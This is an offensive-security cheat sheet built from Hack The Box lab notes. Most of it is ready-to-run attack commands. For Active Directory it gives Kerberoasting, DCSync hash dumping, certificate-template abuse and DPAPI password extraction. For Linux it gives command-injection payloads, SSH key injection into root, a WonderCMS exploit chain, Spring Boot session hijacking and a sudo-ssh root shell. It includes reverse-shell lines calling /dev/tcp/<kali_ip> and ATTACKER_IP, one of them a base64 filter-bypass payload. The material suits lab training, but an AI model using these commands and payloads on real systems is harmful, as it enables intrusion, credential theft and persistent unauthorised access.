
# List + Request TGS hashes (the actual attack)
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request

# Save hashes to file
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request -output hashes.txt

# With NT hash instead of password
impacket-GetUserSPNs <domain>/<user> -dc-ip <DC_IP> -hashes ':<NT_HASH>' -request
  • -hashes ':<NT_HASH>' = authenticate with hash (Pass-the-Hash)
  • Note the colon before the hash: :<hash> = NTLM-only hash (no LM prefix)

impacket-GetNPUsers (AS-REP Roasting)

When: No creds yet, or looking for accounts without pre-auth

# Anonymous enumeration
impacket-GetNPUsers <domain>/ -no-pass -dc-ip <DC_IP> -format hashcat

# With user list
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat

impacket-getTGT (Kerberos Ticket Acquisition)

When: Need a TGT for Kerberos-based attacks (PKINIT, Kerberos auth tools)

# Password auth
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <DC_IP>

# Hash auth
impacket-getTGT <domain>/<user> -dc-ip <DC_IP> -hashes ':<NT_HASH>'

# Certificate auth (PKINIT — after certipy exploitation)
impacket-getTGT <domain>/<user> -dc-ip <DC_IP> -cert-file <user>.pfx
  • Saves ticket to <user>.ccache
  • After running: export KRB5CCNAME=./<user>.ccache
  • Verify: klist

impacket-secretsdump (DCSync)

When: You have creds with replication rights → dump ALL domain hashes

# With password
impacket-secretsdump '<domain>/<user>:<pass>@<DC_HOSTNAME>'

# With NT hash
impacket-secretsdump '<domain>/<user>@<DC_HOSTNAME>' -hashes ':<NT_HASH>'

# Local dump only (on the machine, not DCSync)
impacket-secretsdump -local '<domain>/<user>:<pass>@<DC_HOSTNAME>'
  • -local = dump from local machine only (no DCSync, less noisy)
  • Without -local = performs DCSync (requires DS-Replication-Get-Changes)
  • Output includes: All user NT hashes, krbtgt hash (Golden Ticket material)

impacket-smbclient (SMB File Browser)

When: Browse shares, transfer files, enumerate content

impacket-smbclient '<domain>/<user>:<pass>@<DC_HOSTNAME>'

# Interactive commands:
# shares          → list shares
# use <share>     → connect to share
# ls              → list files
# get <file>      → download file
# put <file>      → upload file
# cd <dir>        → change directory

impacket-mssqlclient (MSSQL Connection)

When: MSSQL on target, have credentials

# AD authentication (user is domain account)
impacket-mssqlclient <domain>/<user>:'<pass>'@<IP>

# SQL authentication (user is local SQL account)
impacket-mssqlclient <user>:'<pass>'@<IP>
  • Key difference: Include <domain>/ prefix for AD auth, omit for SQL auth

impacket-owneredit (Change Object Ownership)

When: BloodHound shows WriteOwner → take ownership of target object

impacket-owneredit -action write -new-owner '<domain>\\<your_user>' -target '<target_user_or_group>' '<domain>/<your_user>:<pass>' -dc-ip <DC_IP>
  • -action write = change the owner (use read to see current owner)
  • -new-owner = who becomes the new owner (backslash notation: domain\\user)
  • -target = the AD object you're taking ownership of
  • Why you want this: As owner, you can then modify the DACL (next tool)

impacket-dacledit (Modify ACL Permissions)

When: You own an object (or have WriteDACL) → grant yourself permissions

impacket-dacledit -action write -rights 'WriteMembers' -target '<target_group>' -new-rights-principal '<domain>\\<your_user>' '<domain>/<your_user>:<pass>' -dc-ip <DC_IP>
  • -action write = add an ACE (use read to see current ACLs)
  • -rights = specific right to grant (WriteMembers, GenericWrite, ResetPassword)
  • -new-rights-principal = who gets the permission (backslash notation)
  • Chain: owneredit (take ownership) → dacledit (grant rights) → exploit the rights

impacket-psexec (Remote Execution)

When: Need to run commands on Windows without WinRM

impacket-psexec '<domain>/<user>:<pass>@<DC_HOSTNAME>' '<command>'

Certipy — Full Workflow Guide

The 5 Core Certipy Commands

certipy find        → Enumerate CAs, templates, vulnerabilities
certipy req         → Request a certificate from a CA
certipy auth        → Authenticate to DC using a certificate (get TGT/NT hash)
certipy shadow      → Shadow Credentials attack (extract NT hash non-destructively)
certipy account     → Modify AD account attributes (UPN manipulation for ESC9)

Step 1: Find (Enumeration)

certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>'

Common additions:

# Only enabled templates (reduces noise)
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>' -enabled

# Only vulnerable templates
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>' -enabled -vulnerable

# With hash auth
certipy find -dc-ip <DC_IP> -u <user>@<domain> -hashes ':<NT_HASH>' -enabled -vulnerable

  • -enabled = filter to only active templates
  • -vulnerable = only show templates with known ESC vulnerabilities
  • -hashes = authenticate with NT hash instead of password

Key output fields:

Template Name                       : ExampleTemplate
Enabled                             : True        ← Must be True
Client Authentication               : True        ← Must be True for ESC1
Enrollee Supplies Subject           : True        ← ESC1 trigger
Enrollment Permissions
  Enrollment Rights                 : DOMAIN\someuser  ← Can YOU enroll?
[!] Vulnerabilities
  ESC1                              : ...        ← Exploitable!
  ESC9                              : NoSecurityExtension ← UPN manipulation

Decision after certipy find:

What vulnerabilities are flagged?
  ├── ESC1 → Enrollee Supplies Subject + Client Auth
  │    └── certipy req with -upn (spoof UPN directly)
  ├── ESC9 → NoSecurityExtension flag
  │    └── certipy account update (change UPN) → req → auth → restore UPN
  ├── ESC4 → Template has writable properties
  │    └── certipy template modify (add ESC1) → req → auth
  ├── No ESC flagged → Check enrollment rights
  │    └── Can you enroll? If not, find ACL path to someone who can
  └── Only Shadow Credentials viable → certipy shadow

Step 2: Request a Certificate (certipy req)

ESC1 — Spoof UPN directly (you control Subject Alternative Name):

certipy req -dc-ip <DC_IP> -u <enrolling_user>@<domain> -p '<pass>' -ca <CA_NAME> -template <TEMPLATE_NAME> -upn administrator@<domain>

  • -u <enrolling_user> = user WITH enrollment rights on the template
  • -ca <CA_NAME> = exact CA name from certipy find output
  • -template <TEMPLATE_NAME> = exact template name from certipy find
  • -upn administrator@<domain> = the identity you're spoofing (target)
  • Output: administrator.pfx (certificate + private key)

ESC9 — UPN must be changed FIRST (see ESC9 section below)

Step 3: Authenticate with Certificate (certipy auth)

certipy auth -pfx <user>.pfx -dc-ip <DC_IP> -domain <domain>
  • -pfx = the certificate file from certipy req
  • Output: TGT (<user>.ccache) + NT hash extracted from PAC
  • NT hash: Copy this — it's your Pass-the-Hash credential

After auth:

# Option A: Use TGT (Kerberos auth)
export KRB5CCNAME=<user>.ccache
evil-winrm -i <DC_IP> -r <REALM> -u <user> -k

# Option B: Use NT hash (Pass-the-Hash)
evil-winrm -i <DC_IP> -u <user> -H '<NT_HASH>'

Step 4: Shadow Credentials (certipy shadow)

When: You have Write access to target's msDS-KeyCredentialLink (GenericWrite, GenericAll, or specific WriteProperty)

# All-in-one: create cert → add Key Credential → authenticate → extract hash
certipy shadow auto -u <your_user>@<domain> -p '<pass>' -account <target_user> -dc-ip <DC_IP>

# Manual workflow (if auto fails):
certipy shadow add -u <your_user>@<domain> -p '<pass>' -account <target_user> -dc-ip <DC_IP>
certipy shadow auth -username <target_user> -dc-ip <DC_IP>
  • shadow auto = automated full chain
  • -account <target_user> = the user whose hash you want (you must have Write access to this user)
  • shadow add = only adds Key Credential attribute
  • shadow auth = authenticates using the Key Credential
  • Output: NT hash for target_user

Common issue: If auto fails, try splitting into add + auth separately.

Step 5: Account Update (certipy account — for ESC9)

When: ESC9 vulnerability (NoSecurityExtension on template)

certipy account update -u <your_user>@<domain> -p '<pass>' -user <user_to_modify> -upn <identity_to_spoof> -dc-ip <DC_IP>
  • -user <user_to_modify> = the account YOU CONTROL (e.g., ca_operator)
  • -upn <identity_to_spoof> = who you want to become (e.g., Administrator)
  • You must have GenericWrite or equivalent over the -user target

ESC9 Full Attack Chain

# Step 1: Change controlled user's UPN to Administrator
certipy account update -u <your_user>@<domain> -p '<pass>' -user <controlled_user> -upn Administrator -dc-ip <DC_IP>

# Step 2: Request certificate (cert has Administrator UPN, but no objectSid)
certipy req -dc-ip <DC_IP> -u <controlled_user>@<domain> -p '<controlled_pass>' -ca <CA_NAME> -template <TEMPLATE_NAME>

# Step 3: RESTORE controlled user's UPN (cleanup)
certipy account update -u <your_user>@<domain> -p '<pass>' -user <controlled_user> -upn <controlled_user>@<domain> -dc-ip <DC_IP>

# Step 4: Authenticate → get Administrator's NT hash
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> -domain <domain>

Why ESC9 works: - Templates with NoSecurityExtension flag don't embed the user's objectSid - Normally KDC checks: "Does the SID in this cert match the account?" → denied if mismatch - Without SID: KDC authenticates by UPN alone → if UPN says "Administrator", you get Administrator's TGT - Attack direction: You modify the account you control, not the target - Step 3 (restore) prevents the controlled account from staying broken


DPAPI (Data Protection API) Credential Extraction

What: Windows encryption API for protecting user secrets (saved credentials, browser passwords, certificates, RDP passwords)

When to use: - Standard domain user with no ACL paths or dangerous Windows privileges - Found user credentials → check their DPAPI for admin account passwords - Administrative account exists but password unknown - cmdkey /list shows saved credentials

Attack flow: User's password → decrypt DPAPI master keys → decrypt credential blobs → extract plaintext credentials

Step 1: DPAPI Enumeration

Check for saved credentials:

# From Windows shell (evil-winrm, RDP, etc.)
cmdkey /list

# Check for DPAPI master keys
dir C:\Users\<username>\AppData\Roaming\Microsoft\Protect\ -Force

# Check for credential blobs
dir C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\ -Force
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\ -Force

# Check for browser credentials (user-level DPAPI)
dir "C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
dir "C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data"

Flags/Notes: - Master keys: %APPDATA%\Microsoft\Protect\<USER-SID>\<GUID> files - Credential blobs: %APPDATA%\Microsoft\Credentials\<GUID> or %LOCALAPPDATA%\Microsoft\Credentials\ - If cmdkey /list is empty, DPAPI may still have saved credentials - Look for both Roaming and Local AppData locations

Step 2: DPAPI Decryption (Method 1 - SharpDPAPI, easiest)

Download SharpDPAPI:

# On Kali
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpDPAPI.exe

# Transfer to target via SMB
impacket-smbserver share . -smb2support -username test -password test

Run on Windows:

# Copy from Kali SMB share
copy \\<YOUR_VPN_IP>\share\SharpDPAPI.exe C:\Users\<username>\Documents\

# Decrypt all saved credentials
.\SharpDPAPI.exe credentials /password:<user_password>

# Decrypt browser passwords
.\SharpDPAPI.exe chrome /password:<user_password>
.\SharpDPAPI.exe edge /password:<user_password>

Flags/Notes: - credentials = decrypt Windows Credential Manager vaults - /password:<password> = user's plaintext password (needed to decrypt DPAPI master keys) - Automatically finds and decrypts all DPAPI-protected data for current user - Output: Target, Username, Password for all saved credentials

Step 3: DPAPI Decryption (Method 2 - dpapi.py manual, educational)

Download DPAPI files to Kali:

# From evil-winrm
download C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID> /path/to/loot/dpapi/masterkeys
download C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\<GUID> /path/to/loot/dpapi/credential.blob

Decrypt master key:

cd /path/to/loot/dpapi

# Find the master key GUID (in the SID directory)
ls masterkeys/<USER-SID>/

# Decrypt master key with user's password
dpapi.py masterkey -file masterkeys/<USER-SID>/<MASTERKEY-GUID> -sid <USER-SID> -password '<user_password>'

Flags/Notes: - dpapi.py = Impacket tool for DPAPI operations - -file = path to master key file - -sid = user's SID (from directory name: S-1-5-21-...) - -password = user's plaintext password - Output: Decrypted master key in hex format (save this!)

Decrypt credential blob:

# Use decrypted master key from previous step
dpapi.py credential -file credential.blob -key <DECRYPTED_MASTERKEY_HEX>

Flags/Notes: - -file = credential blob file (GUID filename) - -key = decrypted master key in hex (from previous command) - Output: Decrypted credentials (username + password)

Step 4: Alternative Tools

pypykatz (Python):

# Decrypt with pypykatz
pypykatz dpapi masterkey <masterkey_file> <password>
pypykatz dpapi credential <credential_blob> <decrypted_masterkey_hex>

Mimikatz (Windows):

# Decrypt DPAPI with Mimikatz
mimikatz # dpapi::masterkey /in:<masterkey_file> /password:<password>
mimikatz # dpapi::cred /in:<credential_blob> /masterkey:<hex>

DPAPI Troubleshooting

CRYPTPROTECT_SYSTEM flag error: - If credential has CRYPTPROTECT_SYSTEM flag → encrypted by SYSTEM account, not user - Cannot decrypt with user password - Solution 1: Try browser credentials instead (user-level DPAPI) - Solution 2: Get SYSTEM access first, then decrypt - Solution 3: Use domain DPAPI backup keys (if Domain Admin)

No credentials found: - Check both AppData\Roaming\Microsoft\Credentials\ AND AppData\Local\Microsoft\Credentials\ - Try browser credential extraction (Chrome/Edge) - Check Windows Vault: AppData\Local\Microsoft\Vault\ and AppData\Roaming\Microsoft\Vault\ - User may not have saved any credentials

SharpDPAPI decryption fails: - Verify you're using correct password - Check if master key GUID matches the credential blob's guidMasterKey - Try dpapi.py manual method for more detailed error messages

DPAPI Use Cases

Common scenarios: 1. Regular user → Admin account: User saves admin password in DPAPI → extract for privilege escalation 2. Backup files contain user creds → DPAPI: Found config file with regular user password → use DPAPI to get admin password 3. Browser passwords: User logged into admin panels via browser → extract saved passwords 4. RDP credentials: Saved RDP connections often use DPAPI → extract connection passwords 5. Service account credentials: Applications save service account passwords in DPAPI

Attack pattern: - Find user credentials (backup files, config files, default passwords) - Login as that user (WinRM, RDP, etc.) - Extract DPAPI credentials - Look for admin account passwords or lateral movement opportunities

DPAPI Tools Summary

Tool Platform Use Case Pros Cons
SharpDPAPI Windows Quick extraction Automatic, finds everything Needs Windows shell
dpapi.py Kali/Linux Offline analysis Educational, shows process 2-step manual process
pypykatz Kali/Linux Offline analysis Python-based, versatile Different syntax
Mimikatz Windows Live extraction Full feature set May trigger AV

Recommendation: - Production: SharpDPAPI (fastest) - Learning: dpapi.py (understand the process) - Offline: dpapi.py or pypykatz (analyze downloaded files)


Linux Privilege Escalation — Internal Service Discovery

Command

# Quick-win checks first
id
sudo -l
find / -perm /4000 -type f 2>/dev/null

# THE KEY CHECK: internal services
ss -tlnp
# Alternative: netstat -tlnp

# Probe discovered internal service
curl -s http://127.0.0.1:<PORT>
curl -s http://127.0.0.1:<PORT> -u '<user>:<pass>'  # Try known creds (password reuse!)

Why - ss -tlnp reveals services bound to 127.0.0.1 that are invisible to external nmap scans - Internal web apps on easy Linux boxes commonly run as root - This is the highest-signal privesc check on Linux after sudo -l and SUID

Flags/Notes - ss = socket statistics (modern replacement for netstat) - -t = TCP, -l = listening, -n = numeric (no DNS), -p = show process - Look for: 127.0.0.1:<port> entries NOT seen in nmap (external) scan - Common ports: 8080, 8443, 3000, 9090, 5000 (web apps), 3306 (MySQL), 6379 (Redis) - Always try password reuse — SSH creds often work for internal web apps (HTTP Basic, login forms) - Learned from: HTB Sea


Linux Privilege Escalation — SSH Port Forwarding

Command

# Forward target's internal port to your Kali machine
ssh -L <local_port>:127.0.0.1:<remote_port> <user>@<target_ip>

# Example: forward internal 8080 to local 9090
ssh -L 9090:127.0.0.1:8080 amay@10.129.6.48

# Then browse on Kali:
# http://127.0.0.1:9090
# Or use Burp proxy on 127.0.0.1:9090

Why - Internal services bound to 127.0.0.1 can't be reached directly from Kali - SSH tunnel makes them accessible as if they're on your local machine - Enables Burp Suite interception for web app testing

Flags/Notes - -L local_port:target_host:target_port = Local port forwarding - Traffic flow: Kali:9090 → SSH tunnel → Target:127.0.0.1:8080 - Tunnel dies on box reboot — must re-establish after reboot - Can also forward multiple ports: ssh -L 9090:127.0.0.1:8080 -L 9091:127.0.0.1:3306 user@target - Learned from: HTB Sea


Linux Privilege Escalation — Command Injection in Web Apps

Command

# Common injection separators to test (via curl or Burp)
# Semicolon — ends command, starts new one
log_file=/var/log/access.log;id

# Pipe — pipe output to new command
log_file=/var/log/access.log|id

# Newline — break to new line
log_file=/var/log/access.log%0aid

# Backtick — command substitution
log_file=/var/log/access.log`id`

# $() — command substitution
log_file=/var/log/access.log$(id)

Why - Web apps that pass user input to shell commands (system(), exec(), backticks) are vulnerable - Internal "admin" or "monitoring" apps are often poorly secured — they were "never meant to be exposed" - If the app runs as root, command injection = instant root RCE

Flags/Notes - Always use Burp to intercept requests first — don't guess parameter names with curl - Path traversal and command injection often coexist in the same parameter - Path traversal may read files but filter output (grep, regex) — command injection bypasses the filter - --data-urlencode in curl for payloads with special characters - If file read shows "no results" but no error → the app is filtering/grepping. Try ;id to break out - Learned from: HTB Sea


Linux Privilege Escalation — SSH Key Injection (Persistence)

Command

# When you have command injection as root but reverse shells are unstable:

# 1. Get your public key on Kali
cat ~/.ssh/id_ed25519.pub
# or generate from private key: ssh-keygen -y -f ~/.ssh/id_ed25519

# 2. Inject via command injection (curl example)
curl -s http://127.0.0.1:9090/ -u 'user:pass' \
  --data-urlencode 'param=value;mkdir -p /root/.ssh;echo <YOUR_PUBLIC_KEY> >> /root/.ssh/authorized_keys;chmod 600 /root/.ssh/authorized_keys' \
  -d 'submit='

# 3. SSH as root
ssh -i ~/.ssh/id_ed25519 root@<target>

Why - Reverse shells can be killed by .bashrc exit traps, process watchdogs, or unstable connections - SSH key injection provides stable, persistent, interactive access - Works even when PermitRootLogin is set to prohibit-password (key-only)

Flags/Notes - mkdir -p /root/.ssh = create dir if missing (safe) - >> authorized_keys = append (don't overwrite existing keys) - chmod 600 = required permissions (SSH refuses if too open) - When to use over reverse shell: - Shell connects then immediately exits - .bashrc contains exit/logout commands - Connection is unstable or drops after seconds - You need persistent access across reboots - Doesn't work if: PermitRootLogin no in sshd_config, or SSH service not running - Learned from: HTB Sea


WonderCMS Exploitation (CVE-2023-41425)

Command

# Identify WonderCMS: directory structure + OSINT
# data/, messages/, plugins/, themes/ + PHP + no DB port = flat-file CMS
# Check page source for author names → Google → WonderCMS community

# Get exploit
searchsploit -m php/remote/52271.py
dos2unix 52271.py  # searchsploit copies often have encoding issues

# Terminal 1: HTTP server for XSS payload
python3 -m http.server <port>

# Terminal 2: Run exploit
python3 52271.py --url http://<target>/loginURL --xip <kali_ip> --xport <port>

# Terminal 3: Listener
rlwrap nc -lnvp <port>

# After webshell uploads, trigger reverse shell:
curl -s 'http://<target>/themes/malicious/malicious.php' --get \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<kali_ip>/<port> 0>&1'"

Why - WonderCMS 3.4.2 has stored XSS in the contact form "Website" field - When admin views submissions, JS payload executes → uploads PHP webshell as theme - Webshell lands at /themes/malicious/malicious.php

Flags/Notes - Identification chain: directory fingerprint → author OSINT → CMS community → theme match - dos2unix = fix searchsploit encoding (silent failure without this) - Credential location: database.json in data/ dir (bcrypt $2y$ hashes, hashcat -m 3200) - Contact form "Website" field = XSS injection vector - Exploit requires 3 terminals: HTTP server + exploit script + listener - Learned from: HTB Sea


Spring Boot Actuator Exploitation

Command

# 1. Fingerprint: Whitelabel Error Page confirms Spring Boot
curl -s http://target/invalidpath
# "Whitelabel Error Page" → Spring Boot confirmed

# 2. Check actuator endpoints
curl -s http://target/actuator | python3 -m json.tool

# 3. Steal session (session hijacking — no password needed!)
curl -s http://target/actuator/sessions | python3 -m json.tool
# Returns: {"SESSION_ID": "username", ...}

# 4. Replace JSESSIONID cookie in browser DevTools → navigate to /admin
# Browser: DevTools → Storage/Application → Cookies → set JSESSIONID = stolen session ID

# 5. Other valuable endpoints
curl -s http://target/actuator/env | python3 -m json.tool    # env vars, secrets
curl -s http://target/actuator/mappings | python3 -m json.tool  # all API routes

Why - Spring Boot Actuator is a built-in management module — devs enable it for debugging and forget to lock it down - /actuator/sessions leaks active session IDs mapped to usernames → trivial session hijacking - /actuator/env can leak database passwords, API keys, Spring datasource credentials - /actuator/mappings reveals all API endpoints including hidden ones

Flags/Notes - Detection chain: Whitelabel Error Page → Spring Boot → check /actuator → check each sub-endpoint - JSESSIONID cookie swap in browser DevTools is all it takes to impersonate another user - Internal URLs in actuator response (e.g., localhost:8080) confirm nginx reverse proxy architecture - If no actuator, try /actuator/health alone — sometimes only health is exposed - If it fails: endpoints might be behind auth or disabled. Check /actuator/mappings via other means, or try Spring Boot RCE exploits - Learned from: HTB CozyHosting


Command Injection — Whitespace Bypass & Base64 Encoding

Command

# When spaces are filtered ("can't contain whitespace" errors):
# Use ${IFS} — Internal Field Separator, evaluates to space at runtime

# Basic ${IFS} bypass
username=admin;cat${IFS}/etc/passwd

# Base64 encoding bypass (avoids ALL special characters)
# Step 1: Encode your payload
echo -ne "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" | base64 -w0

# Step 2: Inject with ${IFS} replacing spaces, base64 decoding at runtime
curl http://target/endpoint \
  --data-urlencode 'host=127.0.0.1' \
  --data-urlencode 'username=admin;`echo${IFS}BASE64_STRING|base64${IFS}-d|bash`;#'

Why - Many web apps filter spaces but don't filter ${IFS} — it's a variable, not a literal space - Base64 encoding sidesteps ALL special character issues (spaces, >&, quotes, pipes) - The # at the end comments out any text the server appends (e.g., @hostname in SSH commands)

Flags/Notes - ${IFS} = bash Internal Field Separator (space/tab/newline). Bypasses string-level whitespace checks - -w0 on base64 = no line wrapping (line breaks would break the injection) - --data-urlencode in curl = properly encodes $, {, ; for transport - Bad fd number error = server shell is sh/dash, NOT bash. /dev/tcp/ is bash-only → wrap in bash -c '...' - # comment trick = neutralizes trailing characters the server appends after your input - Backticks vs $() = both work for command substitution, but backticks are sometimes less filtered - Payload anatomy: admin; (terminate SSH) + `echo B64|base64 -d|bash` (execute) + ;# (clean up) - Learned from: HTB CozyHosting


Spring Boot JAR Extraction — Credential Harvesting

Command

# On target box after initial foothold:

# 1. Find the JAR
ls -la /app/  # or find / -name "*.jar" 2>/dev/null

# 2. Extract it
unzip cloudhosting-0.0.1.jar -d /tmp/extracted

# 3. Find credentials
grep -R password /tmp/extracted 2>/dev/null
cat /tmp/extracted/BOOT-INF/classes/application.properties

# 4. Typical findings:
# spring.datasource.url=jdbc:postgresql://localhost:5432/dbname
# spring.datasource.username=postgres
# spring.datasource.password=SecretPassword

# 5. Connect to the database
psql -h localhost -U postgres
# \list → list databases
# \c dbname → connect
# \d+ → list tables
# SELECT * FROM users;

Why - Spring Boot bundles everything in a single JAR — config files, dependencies, templates - application.properties (or .yml) almost always contains database credentials - Internal databases (PostgreSQL, MySQL on localhost) are not visible from nmap but contain user hashes - Cracking those hashes → password reuse → lateral movement to real system users

Flags/Notes - Check ss -tlnp to find internal services (PostgreSQL default: 5432, MySQL: 3306) - psql commands: \list (databases), \c dbname (connect), \d+ (tables), \d+ tablename (schema) - bcrypt hashes ($2a$, $2y$) → john --wordlist=rockyou.txt or hashcat -m 3200 - Web app usernames ≠ system usernames — always check /home/ and /etc/passwd for real users - Password reuse is extremely common — always try cracked web/DB passwords against SSH system users - Learned from: HTB CozyHosting


Linux Privilege Escalation — Sudo SSH (GTFOBins)

Command

# Check sudo permissions
sudo -l
# If output shows: (root) /usr/bin/ssh *

# Escalate to root via ProxyCommand
sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

Why - SSH's -o ProxyCommand option runs a command before establishing the connection - When SSH runs as root (via sudo), the ProxyCommand shell inherits root privileges - The dummy hostname x never resolves — ProxyCommand fires first

Flags/Notes - sudo ssh = runs SSH as root (must be allowed by sudo policy) - -o ProxyCommand='...' = SSH option meant for proxy setup, abused to spawn a shell - ;/bin/sh 0<&2 1>&2 = spawns shell with stdin/stdout connected to terminal - x = dummy hostname (SSH never actually connects) - DON'T FORGET sudo — without it you get a shell as your current user, not root - Works for any (root) /usr/bin/ssh * sudo entry — the * wildcard allows any arguments - Reference: GTFOBins SSH - Learned from: HTB CozyHosting


Evidence capture

Command - | tee logs/<name>.txt for readable output - > logs/<name>.txt 2>&1 for large output

Why - Keep clean artifacts for writeups and proof

Flags/Notes - Save outputs to logs/ and loot to loot/ - Note flag paths and commands used